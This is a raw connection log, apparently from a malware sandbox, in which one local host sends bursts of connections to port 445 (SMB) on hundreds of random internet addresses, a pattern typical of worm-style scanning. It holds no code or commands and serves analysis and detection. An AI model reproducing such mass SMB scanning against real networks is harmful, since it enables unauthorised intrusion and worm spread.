Jul 20, 2022 06:09:29.496565104 CEST	59256	445	192.168.2.6	19.169.55.152
Jul 20, 2022 06:09:29.497051001 CEST	59257	445	192.168.2.6	182.190.71.90
Jul 20, 2022 06:09:29.522886992 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:29.618264914 CEST	59261	445	192.168.2.6	134.100.50.8
Jul 20, 2022 06:09:29.618820906 CEST	59262	445	192.168.2.6	103.91.26.27
Jul 20, 2022 06:09:29.683219910 CEST	59268	445	192.168.2.6	179.83.65.145
Jul 20, 2022 06:09:29.742615938 CEST	59271	445	192.168.2.6	68.55.181.218
Jul 20, 2022 06:09:29.792057991 CEST	59282	445	192.168.2.6	162.28.27.198
Jul 20, 2022 06:09:29.804143906 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:29.835422039 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:29.880995989 CEST	59284	445	192.168.2.6	174.121.56.89
Jul 20, 2022 06:09:29.882983923 CEST	59289	445	192.168.2.6	85.96.26.46
Jul 20, 2022 06:09:29.883130074 CEST	59290	445	192.168.2.6	18.92.246.117
Jul 20, 2022 06:09:29.883167982 CEST	59291	445	192.168.2.6	80.235.189.158
Jul 20, 2022 06:09:29.883311033 CEST	59293	445	192.168.2.6	74.98.227.62
Jul 20, 2022 06:09:29.883375883 CEST	59295	445	192.168.2.6	122.215.18.76
Jul 20, 2022 06:09:29.883537054 CEST	59300	445	192.168.2.6	221.216.185.105
Jul 20, 2022 06:09:29.883639097 CEST	59302	445	192.168.2.6	68.109.140.85
Jul 20, 2022 06:09:29.883668900 CEST	59303	445	192.168.2.6	189.249.28.171
Jul 20, 2022 06:09:29.945393085 CEST	59308	445	192.168.2.6	176.241.42.115
Jul 20, 2022 06:09:29.945962906 CEST	59309	445	192.168.2.6	37.21.160.142
Jul 20, 2022 06:09:30.009269953 CEST	59310	445	192.168.2.6	178.159.42.140
Jul 20, 2022 06:09:30.085449934 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:30.164277077 CEST	59313	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:30.335330009 CEST	445	59313	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:30.335489988 CEST	59313	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:30.335764885 CEST	59313	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:30.366794109 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:30.505439043 CEST	445	59313	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:30.506282091 CEST	59313	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:30.524530888 CEST	59317	445	192.168.2.6	215.74.104.192
Jul 20, 2022 06:09:30.525536060 CEST	59318	445	192.168.2.6	7.181.211.240
Jul 20, 2022 06:09:30.605108976 CEST	59329	445	192.168.2.6	179.99.11.76
Jul 20, 2022 06:09:30.605698109 CEST	59330	445	192.168.2.6	71.137.224.209
Jul 20, 2022 06:09:30.615381956 CEST	59331	445	192.168.2.6	39.196.84.14
Jul 20, 2022 06:09:30.623506069 CEST	59337	445	192.168.2.6	172.234.225.61
Jul 20, 2022 06:09:30.623753071 CEST	59347	445	192.168.2.6	21.153.67.119
Jul 20, 2022 06:09:30.623915911 CEST	59338	445	192.168.2.6	8.167.192.91
Jul 20, 2022 06:09:30.677294016 CEST	445	59313	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:30.677512884 CEST	59313	445	192.168.2.6	107.186.37.24
Jul 20, 2022 06:09:30.748106956 CEST	59358	445	192.168.2.6	64.148.104.192
Jul 20, 2022 06:09:30.748290062 CEST	59359	445	192.168.2.6	85.40.95.207
Jul 20, 2022 06:09:30.806116104 CEST	59365	445	192.168.2.6	95.35.138.58
Jul 20, 2022 06:09:30.847188950 CEST	445	59313	107.186.37.24	192.168.2.6
Jul 20, 2022 06:09:30.868760109 CEST	59371	445	192.168.2.6	123.169.49.246
Jul 20, 2022 06:09:30.914912939 CEST	59378	445	192.168.2.6	22.11.88.28
Jul 20, 2022 06:09:30.918874979 CEST	59381	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.010898113 CEST	59385	445	192.168.2.6	69.223.171.164
Jul 20, 2022 06:09:31.011023045 CEST	59388	445	192.168.2.6	7.68.202.60
Jul 20, 2022 06:09:31.011096954 CEST	59389	445	192.168.2.6	71.58.233.232
Jul 20, 2022 06:09:31.011209965 CEST	59392	445	192.168.2.6	186.177.156.93
Jul 20, 2022 06:09:31.011240959 CEST	59393	445	192.168.2.6	10.5.157.208
Jul 20, 2022 06:09:31.011332035 CEST	59395	445	192.168.2.6	124.241.223.155
Jul 20, 2022 06:09:31.011472940 CEST	59401	445	192.168.2.6	99.27.88.122
Jul 20, 2022 06:09:31.011513948 CEST	59402	445	192.168.2.6	164.95.31.62
Jul 20, 2022 06:09:31.011604071 CEST	59404	445	192.168.2.6	49.76.23.246
Jul 20, 2022 06:09:31.024383068 CEST	59406	445	192.168.2.6	37.21.160.143
Jul 20, 2022 06:09:31.027025938 CEST	59407	445	192.168.2.6	176.241.42.116
Jul 20, 2022 06:09:31.074256897 CEST	445	59407	176.241.42.116	192.168.2.6
Jul 20, 2022 06:09:31.087341070 CEST	59408	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.087898016 CEST	445	59381	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.088119984 CEST	59381	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.088228941 CEST	59381	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.090287924 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.115910053 CEST	445	59408	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.116072893 CEST	59408	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.116214991 CEST	59408	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.118809938 CEST	59410	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.143572092 CEST	445	59408	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.143594980 CEST	445	59408	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.145910978 CEST	445	59410	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.146064997 CEST	59410	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.146202087 CEST	59410	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.176637888 CEST	445	59410	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.176881075 CEST	59410	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.204310894 CEST	445	59410	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.204519987 CEST	59410	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:31.226275921 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:31.231600046 CEST	445	59410	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:31.256953001 CEST	445	59381	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.256977081 CEST	445	59381	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.258143902 CEST	445	59409	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.258277893 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.258882999 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.428307056 CEST	445	59409	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.458978891 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.491852999 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:31.585666895 CEST	59407	445	192.168.2.6	176.241.42.116
Jul 20, 2022 06:09:31.627399921 CEST	445	59409	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:31.634444952 CEST	445	59407	176.241.42.116	192.168.2.6
Jul 20, 2022 06:09:31.679372072 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.748716116 CEST	59409	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:31.773087025 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:31.872874975 CEST	59422	445	192.168.2.6	40.248.47.79
Jul 20, 2022 06:09:31.873567104 CEST	59423	445	192.168.2.6	145.85.157.194
Jul 20, 2022 06:09:31.880270958 CEST	59433	445	192.168.2.6	213.118.139.220
Jul 20, 2022 06:09:31.889964104 CEST	59446	445	192.168.2.6	18.95.3.221
Jul 20, 2022 06:09:31.890904903 CEST	59447	445	192.168.2.6	110.92.200.114
Jul 20, 2022 06:09:31.891798973 CEST	59448	445	192.168.2.6	180.165.128.186
Jul 20, 2022 06:09:31.892541885 CEST	59449	445	192.168.2.6	27.228.221.70
Jul 20, 2022 06:09:31.893146992 CEST	59450	445	192.168.2.6	31.84.216.44
Jul 20, 2022 06:09:31.916717052 CEST	445	59409	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:32.149488926 CEST	59407	445	192.168.2.6	176.241.42.116
Jul 20, 2022 06:09:32.196847916 CEST	445	59407	176.241.42.116	192.168.2.6
Jul 20, 2022 06:09:32.275732994 CEST	59460	445	192.168.2.6	175.223.46.106
Jul 20, 2022 06:09:32.276034117 CEST	59459	445	192.168.2.6	46.241.238.218
Jul 20, 2022 06:09:32.277517080 CEST	59464	445	192.168.2.6	73.166.234.200
Jul 20, 2022 06:09:32.279128075 CEST	59467	445	192.168.2.6	174.87.184.238
Jul 20, 2022 06:09:32.283663034 CEST	59477	445	192.168.2.6	99.95.26.17
Jul 20, 2022 06:09:32.285017014 CEST	59480	445	192.168.2.6	94.151.100.211
Jul 20, 2022 06:09:32.285473108 CEST	59481	445	192.168.2.6	140.196.88.83
Jul 20, 2022 06:09:32.299438000 CEST	59483	445	192.168.2.6	56.75.103.231
Jul 20, 2022 06:09:32.383986950 CEST	59491	445	192.168.2.6	176.241.42.117
Jul 20, 2022 06:09:32.384527922 CEST	59492	445	192.168.2.6	37.21.160.144
Jul 20, 2022 06:09:32.386821985 CEST	59497	445	192.168.2.6	110.167.88.192
Jul 20, 2022 06:09:32.388166904 CEST	59500	445	192.168.2.6	64.236.164.85
Jul 20, 2022 06:09:32.388648033 CEST	59501	445	192.168.2.6	123.124.27.42
Jul 20, 2022 06:09:32.390250921 CEST	59504	445	192.168.2.6	83.208.124.210
Jul 20, 2022 06:09:32.390714884 CEST	59505	445	192.168.2.6	175.164.120.44
Jul 20, 2022 06:09:32.391668081 CEST	59507	445	192.168.2.6	191.240.89.71
Jul 20, 2022 06:09:32.434088945 CEST	445	59491	176.241.42.117	192.168.2.6
Jul 20, 2022 06:09:33.038870096 CEST	59491	445	192.168.2.6	176.241.42.117
Jul 20, 2022 06:09:33.088879108 CEST	445	59491	176.241.42.117	192.168.2.6
Jul 20, 2022 06:09:33.132793903 CEST	58357	445	192.168.2.6	128.110.36.2
Jul 20, 2022 06:09:33.281954050 CEST	59519	445	192.168.2.6	50.132.211.234
Jul 20, 2022 06:09:33.286442041 CEST	59529	445	192.168.2.6	144.31.131.0
Jul 20, 2022 06:09:33.286931992 CEST	59530	445	192.168.2.6	45.108.222.22
Jul 20, 2022 06:09:33.296087980 CEST	59547	445	192.168.2.6	147.117.5.112
Jul 20, 2022 06:09:33.296596050 CEST	59548	445	192.168.2.6	141.136.77.192
Jul 20, 2022 06:09:33.297096014 CEST	59549	445	192.168.2.6	192.90.115.176
Jul 20, 2022 06:09:33.297585011 CEST	59550	445	192.168.2.6	33.106.54.39
Jul 20, 2022 06:09:33.298084974 CEST	59551	445	192.168.2.6	175.63.78.45
Jul 20, 2022 06:09:33.300236940 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:33.421173096 CEST	59556	445	192.168.2.6	82.17.42.87
Jul 20, 2022 06:09:33.421659946 CEST	59557	445	192.168.2.6	10.228.3.202
Jul 20, 2022 06:09:33.423410892 CEST	59561	445	192.168.2.6	18.141.240.108
Jul 20, 2022 06:09:33.424767017 CEST	59564	445	192.168.2.6	83.116.226.147
Jul 20, 2022 06:09:33.435386896 CEST	59574	445	192.168.2.6	67.143.17.222
Jul 20, 2022 06:09:33.436860085 CEST	59577	445	192.168.2.6	169.186.234.34
Jul 20, 2022 06:09:33.437349081 CEST	59578	445	192.168.2.6	156.28.222.54
Jul 20, 2022 06:09:33.448385954 CEST	445	59554	128.110.36.3	192.168.2.6
Jul 20, 2022 06:09:33.448527098 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:33.454755068 CEST	59586	445	192.168.2.6	109.140.32.167
Jul 20, 2022 06:09:33.456631899 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:33.525657892 CEST	59589	445	192.168.2.6	176.241.42.118
Jul 20, 2022 06:09:33.526115894 CEST	59590	445	192.168.2.6	37.21.160.145
Jul 20, 2022 06:09:33.546675920 CEST	59595	445	192.168.2.6	77.15.105.9
Jul 20, 2022 06:09:33.548954010 CEST	59598	445	192.168.2.6	72.150.216.214
Jul 20, 2022 06:09:33.549004078 CEST	59599	445	192.168.2.6	23.214.103.254
Jul 20, 2022 06:09:33.549087048 CEST	59602	445	192.168.2.6	75.134.33.254
Jul 20, 2022 06:09:33.549135923 CEST	59603	445	192.168.2.6	218.254.184.223
Jul 20, 2022 06:09:33.549226999 CEST	59605	445	192.168.2.6	173.221.245.199
Jul 20, 2022 06:09:33.929579973 CEST	58824	445	192.168.2.6	134.220.131.3
Jul 20, 2022 06:09:33.929604053 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:34.038969994 CEST	59130	445	192.168.2.6	186.65.200.170
Jul 20, 2022 06:09:34.335834980 CEST	59174	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:34.354499102 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.383166075 CEST	445	59607	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:34.383302927 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.429650068 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:34.470145941 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.498720884 CEST	445	59607	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:34.546802998 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.611814976 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.639506102 CEST	445	59607	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:34.691322088 CEST	59607	445	192.168.2.6	178.159.42.141
Jul 20, 2022 06:09:34.693592072 CEST	59621	445	192.168.2.6	79.133.110.159
Jul 20, 2022 06:09:34.694056988 CEST	59622	445	192.168.2.6	16.119.7.226
Jul 20, 2022 06:09:34.719031096 CEST	445	59607	178.159.42.141	192.168.2.6
Jul 20, 2022 06:09:34.742122889 CEST	59213	445	192.168.2.6	186.65.200.1
Jul 20, 2022 06:09:34.777170897 CEST	59623	445	192.168.2.6	60.111.73.99
Jul 20, 2022 06:09:34.777688026 CEST	59624	445	192.168.2.6	86.105.50.24
Jul 20, 2022 06:09:34.778156042 CEST	59625	445	192.168.2.6	191.195.156.123
Jul 20, 2022 06:09:34.781267881 CEST	59632	445	192.168.2.6	175.39.206.152
Jul 20, 2022 06:09:34.781732082 CEST	59633	445	192.168.2.6	106.176.67.145
Jul 20, 2022 06:09:34.786132097 CEST	59643	445	192.168.2.6	8.170.54.179
Jul 20, 2022 06:09:34.796618938 CEST	445	59621	79.133.110.159	192.168.2.6
Jul 20, 2022 06:09:34.799097061 CEST	59658	445	192.168.2.6	103.189.118.177
Jul 20, 2022 06:09:34.802964926 CEST	59666	445	192.168.2.6	32.206.135.21
Jul 20, 2022 06:09:34.805470943 CEST	59670	445	192.168.2.6	166.17.33.19
Jul 20, 2022 06:09:34.808193922 CEST	59676	445	192.168.2.6	176.241.42.119
Jul 20, 2022 06:09:34.808824062 CEST	59677	445	192.168.2.6	37.21.160.146
Jul 20, 2022 06:09:34.809298992 CEST	59678	445	192.168.2.6	8.237.246.23
Jul 20, 2022 06:09:34.829380035 CEST	59675	445	192.168.2.6	121.145.198.148
Jul 20, 2022 06:09:34.830615044 CEST	59682	445	192.168.2.6	124.53.242.179
Jul 20, 2022 06:09:34.835057974 CEST	59684	445	192.168.2.6	116.16.187.166
Jul 20, 2022 06:09:34.835134029 CEST	59686	445	192.168.2.6	21.21.236.89
Jul 20, 2022 06:09:34.835175037 CEST	59687	445	192.168.2.6	223.175.147.245
Jul 20, 2022 06:09:34.835282087 CEST	59690	445	192.168.2.6	159.152.183.176
Jul 20, 2022 06:09:34.835328102 CEST	59691	445	192.168.2.6	160.180.116.19
Jul 20, 2022 06:09:34.835428953 CEST	59694	445	192.168.2.6	152.240.157.23
Jul 20, 2022 06:09:34.835594893 CEST	59700	445	192.168.2.6	193.100.90.6
Jul 20, 2022 06:09:34.850131035 CEST	59704	445	192.168.2.6	25.67.207.65
Jul 20, 2022 06:09:34.850224972 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:34.883158922 CEST	445	59705	134.220.131.4	192.168.2.6
Jul 20, 2022 06:09:34.883301973 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:34.889790058 CEST	59706	445	192.168.2.6	178.159.42.142
Jul 20, 2022 06:09:34.891963959 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:34.924988985 CEST	445	59707	134.220.131.4	192.168.2.6
Jul 20, 2022 06:09:34.925076962 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:35.079478979 CEST	445	59625	191.195.156.123	192.168.2.6
Jul 20, 2022 06:09:35.102216959 CEST	59708	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:35.226579905 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:35.226876974 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:35.272743940 CEST	445	59708	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:35.272851944 CEST	59708	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:35.273026943 CEST	59708	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:35.335922956 CEST	59621	445	192.168.2.6	79.133.110.159
Jul 20, 2022 06:09:35.438955069 CEST	445	59621	79.133.110.159	192.168.2.6
Jul 20, 2022 06:09:35.443550110 CEST	445	59708	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:35.444756031 CEST	59708	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:35.512725115 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:35.514460087 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:35.542395115 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:35.616648912 CEST	445	59708	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:35.616854906 CEST	59708	445	192.168.2.6	107.186.37.25
Jul 20, 2022 06:09:35.726557016 CEST	59625	445	192.168.2.6	191.195.156.123
Jul 20, 2022 06:09:35.789211035 CEST	445	59708	107.186.37.25	192.168.2.6
Jul 20, 2022 06:09:35.808128119 CEST	59722	445	192.168.2.6	33.118.108.178
Jul 20, 2022 06:09:35.808650970 CEST	59723	445	192.168.2.6	209.163.67.198
Jul 20, 2022 06:09:35.860496044 CEST	59724	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:35.869132042 CEST	59725	445	192.168.2.6	37.21.160.147
Jul 20, 2022 06:09:35.869874001 CEST	59726	445	192.168.2.6	176.241.42.120
Jul 20, 2022 06:09:35.919075012 CEST	59734	445	192.168.2.6	101.138.142.240
Jul 20, 2022 06:09:35.919289112 CEST	59743	445	192.168.2.6	20.230.40.133
Jul 20, 2022 06:09:35.919368029 CEST	59744	445	192.168.2.6	170.71.210.30
Jul 20, 2022 06:09:35.919562101 CEST	59750	445	192.168.2.6	222.189.26.65
Jul 20, 2022 06:09:35.919584036 CEST	59752	445	192.168.2.6	157.131.242.220
Jul 20, 2022 06:09:35.919625998 CEST	59753	445	192.168.2.6	117.206.185.242
Jul 20, 2022 06:09:35.919827938 CEST	59760	445	192.168.2.6	27.39.97.24
Jul 20, 2022 06:09:35.920414925 CEST	59770	445	192.168.2.6	7.212.43.122
Jul 20, 2022 06:09:35.929383039 CEST	59775	445	192.168.2.6	139.177.168.61
Jul 20, 2022 06:09:35.929608107 CEST	59782	445	192.168.2.6	171.201.188.104
Jul 20, 2022 06:09:35.931971073 CEST	59783	445	192.168.2.6	135.122.136.48
Jul 20, 2022 06:09:35.932038069 CEST	59784	445	192.168.2.6	210.7.155.222
Jul 20, 2022 06:09:35.966209888 CEST	59786	445	192.168.2.6	163.212.239.232
Jul 20, 2022 06:09:35.967385054 CEST	59788	445	192.168.2.6	96.27.193.70
Jul 20, 2022 06:09:35.967456102 CEST	59789	445	192.168.2.6	202.127.48.60
Jul 20, 2022 06:09:35.967607975 CEST	59792	445	192.168.2.6	22.229.23.30
Jul 20, 2022 06:09:35.967618942 CEST	59793	445	192.168.2.6	37.2.162.84
Jul 20, 2022 06:09:35.967763901 CEST	59796	445	192.168.2.6	193.129.230.184
Jul 20, 2022 06:09:35.976322889 CEST	59802	445	192.168.2.6	188.78.171.199
Jul 20, 2022 06:09:35.976705074 CEST	59806	445	192.168.2.6	186.25.113.54
Jul 20, 2022 06:09:35.978524923 CEST	59807	445	192.168.2.6	178.159.42.143
Jul 20, 2022 06:09:36.029771090 CEST	445	59724	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.029958010 CEST	59724	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.030033112 CEST	59724	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.032742023 CEST	59808	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.046540022 CEST	445	59625	191.195.156.123	192.168.2.6
Jul 20, 2022 06:09:36.198915958 CEST	445	59724	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.198945045 CEST	445	59724	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.201704979 CEST	445	59808	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.201899052 CEST	59808	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.203150034 CEST	59808	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.210071087 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:36.226674080 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:36.372543097 CEST	445	59808	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.372842073 CEST	59808	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.539139986 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:36.541898966 CEST	445	59808	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.542237997 CEST	59808	445	192.168.2.6	107.186.37.26
Jul 20, 2022 06:09:36.687906027 CEST	445	59588	128.110.36.3	192.168.2.6
Jul 20, 2022 06:09:36.688064098 CEST	59588	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:36.712738991 CEST	445	59808	107.186.37.26	192.168.2.6
Jul 20, 2022 06:09:36.933443069 CEST	59822	445	192.168.2.6	212.112.34.183
Jul 20, 2022 06:09:36.935717106 CEST	59823	445	192.168.2.6	149.240.221.172
Jul 20, 2022 06:09:36.962016106 CEST	59825	445	192.168.2.6	176.241.42.121
Jul 20, 2022 06:09:36.962532997 CEST	59826	445	192.168.2.6	37.21.160.148
Jul 20, 2022 06:09:37.043142080 CEST	59837	445	192.168.2.6	96.14.86.112
Jul 20, 2022 06:09:37.046282053 CEST	59843	445	192.168.2.6	92.193.224.71
Jul 20, 2022 06:09:37.046783924 CEST	59844	445	192.168.2.6	7.75.40.99
Jul 20, 2022 06:09:37.047296047 CEST	59845	445	192.168.2.6	80.124.185.24
Jul 20, 2022 06:09:37.049889088 CEST	59850	445	192.168.2.6	174.144.65.78
Jul 20, 2022 06:09:37.064754009 CEST	59853	445	192.168.2.6	4.193.13.74
Jul 20, 2022 06:09:37.084424019 CEST	59855	445	192.168.2.6	178.159.42.144
Jul 20, 2022 06:09:37.084440947 CEST	59857	445	192.168.2.6	76.108.8.213
Jul 20, 2022 06:09:37.084542036 CEST	59858	445	192.168.2.6	36.81.143.204
Jul 20, 2022 06:09:37.084616899 CEST	59859	445	192.168.2.6	146.228.194.119
Jul 20, 2022 06:09:37.084667921 CEST	59860	445	192.168.2.6	137.73.240.216
Jul 20, 2022 06:09:37.084896088 CEST	59871	445	192.168.2.6	23.10.50.94
Jul 20, 2022 06:09:37.085148096 CEST	59882	445	192.168.2.6	10.83.116.91
Jul 20, 2022 06:09:37.108278990 CEST	59886	445	192.168.2.6	194.85.115.51
Jul 20, 2022 06:09:37.108550072 CEST	59890	445	192.168.2.6	97.0.83.240
Jul 20, 2022 06:09:37.108742952 CEST	59896	445	192.168.2.6	41.243.50.2
Jul 20, 2022 06:09:37.108877897 CEST	59899	445	192.168.2.6	139.106.144.224
Jul 20, 2022 06:09:37.108937979 CEST	59900	445	192.168.2.6	99.249.155.175
Jul 20, 2022 06:09:37.109077930 CEST	59903	445	192.168.2.6	203.207.215.43
Jul 20, 2022 06:09:37.109178066 CEST	59905	445	192.168.2.6	163.54.98.130
Jul 20, 2022 06:09:37.109241962 CEST	59906	445	192.168.2.6	206.41.50.134
Jul 20, 2022 06:09:37.366132975 CEST	445	59896	41.243.50.2	192.168.2.6
Jul 20, 2022 06:09:37.539299011 CEST	59707	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:37.539347887 CEST	59705	445	192.168.2.6	134.220.131.4
Jul 20, 2022 06:09:37.539501905 CEST	59554	445	192.168.2.6	128.110.36.3
Jul 20, 2022 06:09:38.025475025 CEST	59896	445	192.168.2.6	41.243.50.2
Jul 20, 2022 06:09:38.142988920 CEST	59920	445	192.168.2.6	209.61.153.142
Jul 20, 2022 06:09:38.146872997 CEST	59922	445	192.168.2.6	189.67.220.252
Jul 20, 2022 06:09:38.146975994 CEST	59924	445	192.168.2.6	37.21.160.149
Jul 20, 2022 06:09:38.147031069 CEST	59925	445	192.168.2.6	176.241.42.122
Jul 20, 2022 06:09:38.193682909 CEST	445	59925	176.241.42.122	192.168.2.6
Jul 20, 2022 06:09:38.199173927 CEST	59930	445	192.168.2.6	178.159.42.145
Jul 20, 2022 06:09:38.228343964 CEST	445	59930	178.159.42.145	192.168.2.6
Jul 20, 2022 06:09:38.281538010 CEST	445	59896	41.243.50.2	192.168.2.6
Jul 20, 2022 06:09:38.287153959 CEST	59938	445	192.168.2.6	191.243.34.3
Jul 20, 2022 06:09:38.287251949 CEST	59941	445	192.168.2.6	84.178.221.148
Jul 20, 2022 06:09:38.287255049 CEST	59940	445	192.168.2.6	170.8.89.165
Jul 20, 2022 06:09:38.287373066 CEST	59943	445	192.168.2.6	81.9.234.11
Jul 20, 2022 06:09:38.287466049 CEST	59946	445	192.168.2.6	205.246.139.198
Jul 20, 2022 06:09:38.287580967 CEST	59949	445	192.168.2.6	48.64.202.151
Jul 20, 2022 06:09:38.287745953 CEST	59954	445	192.168.2.6	97.204.180.215
Jul 20, 2022 06:09:38.287802935 CEST	59955	445	192.168.2.6	25.190.223.95
Jul 20, 2022 06:09:38.287805080 CEST	59956	445	192.168.2.6	50.123.104.6
Jul 20, 2022 06:09:38.288064003 CEST	59962	445	192.168.2.6	87.61.234.119
Jul 20, 2022 06:09:38.288266897 CEST	59969	445	192.168.2.6	20.244.11.47
Jul 20, 2022 06:09:38.288283110 CEST	59970	445	192.168.2.6	4.14.134.241
Jul 20, 2022 06:09:38.288353920 CEST	59971	445	192.168.2.6	137.193.66.94
Jul 20, 2022 06:09:38.288609028 CEST	59978	445	192.168.2.6	172.206.149.219
Jul 20, 2022 06:09:38.289033890 CEST	59992	445	192.168.2.6	215.20.84.170
Jul 20, 2022 06:09:38.289068937 CEST	59993	445	192.168.2.6	50.236.7.195
Jul 20, 2022 06:09:38.289092064 CEST	59994	445	192.168.2.6	92.144.174.252
Jul 20, 2022 06:09:38.290268898 CEST	59997	445	192.168.2.6	154.229.80.223
Jul 20, 2022 06:09:38.290348053 CEST	59999	445	192.168.2.6	171.214.115.29
Jul 20, 2022 06:09:38.290884972 CEST	60002	445	192.168.2.6	101.62.11.231
Jul 20, 2022 06:09:38.408279896 CEST	445	59993	50.236.7.195	192.168.2.6
Jul 20, 2022 06:09:38.836224079 CEST	59925	445	192.168.2.6	176.241.42.122
Jul 20, 2022 06:09:38.836998940 CEST	59930	445	192.168.2.6	178.159.42.145
Jul 20, 2022 06:09:38.865343094 CEST	445	59930	178.159.42.145	192.168.2.6
Jul 20, 2022 06:09:38.882544041 CEST	445	59925	176.241.42.122	192.168.2.6
Jul 20, 2022 06:09:38.930058956 CEST	59993	445	192.168.2.6	50.236.7.195
Jul 20, 2022 06:09:39.044466019 CEST	445	59993	50.236.7.195	192.168.2.6
Jul 20, 2022 06:09:39.217752934 CEST	60019	445	192.168.2.6	176.241.42.123
Jul 20, 2022 06:09:39.217757940 CEST	60018	445	192.168.2.6	37.21.160.150
Jul 20, 2022 06:09:39.263546944 CEST	60025	445	192.168.2.6	133.68.175.3
Jul 20, 2022 06:09:39.263586998 CEST	60026	445	192.168.2.6	177.235.118.152
